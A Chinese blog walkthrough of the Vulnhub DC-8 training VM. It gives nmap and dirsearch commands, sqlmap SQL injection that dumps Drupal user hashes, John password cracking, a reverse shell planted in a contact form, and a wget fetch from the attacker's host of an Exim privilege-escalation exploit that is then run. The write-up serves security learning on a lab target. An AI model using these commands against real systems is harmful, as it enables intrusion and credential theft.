Vulnhub靶机渗透测试之DC-8

Vulnhub简介

Vulnhub是一个提供了很多漏洞环境的靶场平台,其中的环境基本上都是做好的虚拟机镜像文件,

靶场部署

vulnhub官网https://www.vulnhub.com

下载地址https://download.vulnhub.com/dc/DC-8.zip

1、直接从官网下载做好的虚拟机镜像文件(我下载的Mirror版本的);

2、解压会得到一个.ova的文件,然后在VMware中打开即可;

环境配置

攻击机kali:172.20.10.3

DC靶机:192.168.2.25

(我两者都是用的桥接模式,最好都再做一个快照吧,以防万一)

虚拟机打开如下所示:

Vulnhub靶机渗透测试之DC-8

信息收集

1、老样子三板斧,上nmap进行主机探测

扫描到靶机开放了22和80端口,使用的是Drupal(版本是7.x)的cms,还有一个robots协议。

Vulnhub靶机渗透测试之DC-8

2、既然扫描到了80端口,那就直接访问一下

Vulnhub靶机渗透测试之DC-8

3、目录扫描(我使用的是dirsearch工具),扫描到一个登录界面。

Vulnhub靶机渗透测试之DC-8

Vulnhub靶机渗透测试之DC-8

4、尝试爆破了一下,没成功,可能是自己的字典太lj了,只有尝试其他的方式了。

sql注入

1、后来点击De’tails导航栏的模块,发现url里面带有参数,果断尝试一下sql注入。没想到也确实存在sql注入,真实得来全不费工夫呀!

Vulnhub靶机渗透测试之DC-8

Vulnhub靶机渗透测试之DC-8

2、既然存在sql注入,那就得掏出sqlmap这个大杀器了

python2 sqlmap.py -u http://172.20.10.7/?nid=1%27

Vulnhub靶机渗透测试之DC-8

3、爆库名:d7db

python2 sqlmap.py -u http://172.20.10.7/?nid=1%27 –current-db

Vulnhub靶机渗透测试之DC-8

4、爆表,一共爆出来有八十多张表,但是我是需要登录用户名密码,所以就查看了users这张表

python2 sqlmap.py -u http://172.20.10.7/?nid=1%27 -D d7db –tables

Vulnhub靶机渗透测试之DC-8

5、爆列名,爆出来其中有16列

python2 sqlmap.py -u http://172.20.10.7/?nid=1%27 -D d7db -T users –columns

Vulnhub靶机渗透测试之DC-8

6、读取数据,既然我们找到了登录页面,那就只需要账户名和密码,所以读取账户名和密码,即name和pass这两列。

得到用户名admin和john,密码经过加密,需要解密。

Vulnhub靶机渗透测试之DC-8

密码破解

admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

密码密文得到了,但是却不知道怎么破解呀!john这个用户名看起来似乎有点眼熟,卧槽,john不是一个密码破解的工具吗?那就应该是要用john工具来爆破密码了。

1、将得到的账户名和密码放到文本文件中

2、然后开始使用john爆破密码

john dc8.txt

Vulnhub靶机渗透测试之DC-8

得到john用户的密码为:turtle

admin用户的密码破解不出来!!!

反弹shell

1、使用得到的账户名和密码登录

Vulnhub靶机渗透测试之DC-8

2、发现Contact Us 页面可以修改,所以可以直接写入一个shell,然后将其反弹到攻击机。

Vulnhub靶机渗透测试之DC-8

Vulnhub靶机渗透测试之DC-8

Vulnhub靶机渗透测试之DC-8

3、写入shell

Vulnhub靶机渗透测试之DC-8

4、然后回到view页面,填写一些东西提交,同时在攻击机上开始监听

Vulnhub靶机渗透测试之DC-8

5、成功得到shell

Vulnhub靶机渗透测试之DC-8

提权

1、老规矩,返回一个稳定的交互式shell

python -c “import pty;pty.spawn(‘/bin/bash’)”

Vulnhub靶机渗透测试之DC-8

2、使用命令查看是否有suid的提权的命令

find / -user root -perm -4000 -print 2>/dev/null

Vulnhub靶机渗透测试之DC-8

3、找到一个exim4的命令,查看其版本

/usr/sbin/exim4 –version

Vulnhub靶机渗透测试之DC-8

4、使用searchsploit来寻找版本漏洞

searchsploit exim 4

Vulnhub靶机渗透测试之DC-8

5、将脚本复制到本地,命令为shell.sh

或者也可以在此链接直接下载该exp:https://www.exploit-db.com/exploits/46996

cp /usr/share/exploitdb/exploits/linux/local/46996.sh shell.sh

6、然后将脚本下载到到靶机中

可以将脚本放到攻击机的apache目录下,然后再使用获得的靶机的shell下载

mv shell.sh /var/www/html #移动脚本到目录/var/www/html下

service apache2 start #启动apache服务

Vulnhub靶机渗透测试之DC-8

7、在靶机中下载脚本,只能在靶机的tmp目录下下载,因为/tmp目录的权限大。

wget http://172.20.10.3/shell.sh

Vulnhub靶机渗透测试之DC-8

8、赋予脚本权限,然后执行脚本

chmod 777 shell.sh #赋予脚本权限

./shell.sh -m netcat #执行脚本

Vulnhub靶机渗透测试之DC-8

9、失败了

原因是:shell.sh文件的格式为dos格式。linux只能执行格式为unix格式的脚本。

使用set ff=unix : 告诉 vim 编辑器,使用unix换行符,不然会无法执行脚本。

所以修改一下攻击机目录下的shell脚本,在脚本最后加上 :set ff=unix

然后在靶机中重新下载脚本,赋予权限,执行脚本,提权成功,得到最终的flag!!!

Vulnhub靶机渗透测试之DC-8

知识点总结

1、nmap的使用

2、sql注入,常用的sqlmap指令

3、john破解密码

4、exim的版本漏洞

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论